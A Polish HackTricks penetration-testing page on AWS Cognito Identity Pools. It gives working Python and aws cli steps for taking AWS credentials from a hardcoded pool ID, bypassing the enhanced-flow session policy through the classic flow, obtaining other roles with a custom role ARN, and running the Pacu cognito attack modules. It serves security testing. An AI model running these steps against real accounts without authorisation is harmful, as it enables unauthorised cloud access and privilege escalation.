Cognito Identity Pools

Dowiedz się i ćwicz Hacking AWS: HackTricks Training AWS Red Team Expert (ARTE) Dowiedz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

Podstawowe informacje

Pule tożsamości odgrywają kluczową rolę, umożliwiając Twoim użytkownikom uzyskanie tymczasowych poświadczeń. Te poświadczenia są niezbędne do uzyskania dostępu do różnych usług AWS, w tym między innymi Amazon S3 i DynamoDB. Istotną cechą pul tożsamości jest wsparcie zarówno dla anonimowych gości, jak i różnych dostawców tożsamości do uwierzytelniania użytkowników. Obsługiwani dostawcy tożsamości obejmują:

  • Pule użytkowników Amazon Cognito

  • Opcje logowania społecznościowego, takie jak Facebook, Google, Logowanie za pomocą Amazona i Logowanie za pomocą Apple

  • Dostawcy zgodni z OpenID Connect (OIDC)

  • Dostawcy tożsamości zgodni z protokołem SAML (Security Assertion Markup Language)

  • Tożsamości uwierzytelnione przez dewelopera

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Aby wygenerować sesje puli tożsamości, najpierw musisz wygenerować identyfikator tożsamości. Ten identyfikator tożsamości jest identyfikacją sesji tego użytkownika. Te identyfikatory mogą zawierać do 20 zestawów danych, które mogą przechowywać do 1 MB par klucz-wartość.

Jest to przydatne do przechowywania informacji o użytkowniku (który zawsze będzie korzystał z tego samego identyfikatora tożsamości).

Co więcej, usługa cognito-sync to usługa, która pozwala zarządzać i synchronizować te informacje (w zestawach danych, wysyłając informacje w strumieniach i wiadomościach SNS...).

Narzędzia do testów penetracyjnych

  • Pacu, framework eksploatacji AWS, teraz zawiera moduły "cognito__enum" i "cognito__attack", które automatyzują wyliczanie wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkownika używane do kontroli dostępu, itp., a także automatyzują tworzenie użytkownika (w tym obsługę MFA) i eskalację uprawnień na podstawie modyfikowalnych niestandardowych atrybutów, użytecznych poświadczeń puli tożsamości, ról do przyjęcia w tokenach id, itp.

Aby zapoznać się z opisem funkcji modułów, zobacz część 2 postu na blogu. Instrukcje instalacji znajdziesz na stronie głównej Pacu.

Użycie

Przykładowe użycie ataku cognito__attack w celu próby utworzenia użytkownika i wszystkich wektorów eskalacji uprawnień przeciwko określonej puli tożsamości i klientowi puli użytkowników:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Przykładowe użycie cognito__enum do zebrania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner to narzędzie CLI napisane w języku Python, które implementuje różne ataki na Cognito, w tym niechciane tworzenie kont i eskalację puli tożsamości.

Instalacja

$ pip install cognito-scanner

Użycie

$ cognito-scanner --help

Dla dalszych informacji sprawdź https://github.com/padok-team/cognito-scanner

Dostęp do ról IAM

Nieuwierzytelniony

Jedyną rzeczą, jakiej potrzebuje atakujący, aby uzyskać poświadczenia AWS w aplikacji Cognito jako użytkownik nieuwierzytelniony, jest ID puli tożsamości, a to ID musi być zakodowane na stałe w aplikacji webowej/mobilnej, aby ją używać. ID wygląda tak: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (nie można go zgadywać metodą brute force).

Rola nieuwierzytelniona IAM Cognito utworzona za pomocą jest domyślnie nazywana Cognito_<Nazwa puli tożsamości>Unauth_Role

Jeśli znajdziesz zakodowane na stałe ID puli tożsamości i pozwala ono na użytkowników nieuwierzytelnionych, możesz uzyskać poświadczenia AWS za pomocą:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Możesz również użyć następujących poleceń aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Zauważ, że domyślnie nieuwierzytelniony użytkownik Cognito NIE MOŻE mieć żadnych uprawnień, nawet jeśli zostały mu przypisane za pomocą polityki. Sprawdź następującą sekcję.

Udoskonalony przepływ uwierzytelniania vs podstawowy przepływ uwierzytelniania

Poprzednia sekcja opisywała domyślny udoskonalony przepływ uwierzytelniania. Ten przepływ ustawia restrykcyjną politykę sesji dla wygenerowanej sesji roli IAM. Ta polityka pozwoli tylko na korzystanie z usług z tej listy (nawet jeśli rola miała dostęp do innych usług).

Jednak istnieje sposób na obejście tego ograniczenia, jeśli Pula tożsamości ma włączony "Podstawowy (Klasyczny) Przepływ", użytkownik będzie mógł uzyskać sesję korzystając z tego przepływu, który nie będzie miała tej restrykcyjnej polityki sesji.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Jeśli otrzymujesz ten błąd, oznacza to, że podstawowy przepływ nie jest włączony (domyślnie)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Mając zestaw poświadczeń IAM, powinieneś sprawdzić jakie masz uprawnienia i spróbować eskalować uprawnienia.

Zautoryzowany

Pamiętaj, że zautoryzowanym użytkownikom prawdopodobnie zostaną przyznane różne uprawnienia, więc jeśli możesz zarejestrować się w aplikacji, spróbuj to zrobić i uzyskaj nowe poświadczenia.

Dla zautoryzowanych użytkowników uzyskujących dostęp do puli tożsamości mogą być dostępne role.

W tym przypadku możesz potrzebować dostępu do dostawcy tożsamości. Jeśli jest to Pula użytkowników Cognito, być może możesz nadużyć domyślnego zachowania i utworzyć nowego użytkownika samodzielnie.

Rola IAM Cognito zautoryzowana utworzona za pomocą jest domyślnie nazywana Cognito_<Nazwa puli tożsamości>Auth_Role

W każdym razie poniższy przykład zakłada, że jesteś już zalogowany w Puli użytkowników Cognito używanej do uzyskania dostępu do Puli tożsamości (nie zapomnij, że inne rodzaje dostawców tożsamości mogą również być skonfigurowane).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Pobierz identity_id z odpowiedzi poprzedniej komendy
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# W IdTokenie można znaleźć role, do których użytkownik ma dostęp z powodu Grup Puli Użytkowników
# Użyj --custom-role-arn, aby uzyskać poświadczenia do określonej roli
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Możliwe jest skonfigurowanie różnych ról IAM w zależności od dostawcy tożsamości, z którego użytkownik jest logowany lub nawet tylko od użytkownika (korzystając z claimów). Dlatego, jeśli masz dostęp do różnych użytkowników poprzez ten sam lub różne dostawcy, może być warto zalogować się i uzyskać dostęp do ról IAM wszystkich z nich.

Dowiedz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Dowiedz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

Last updated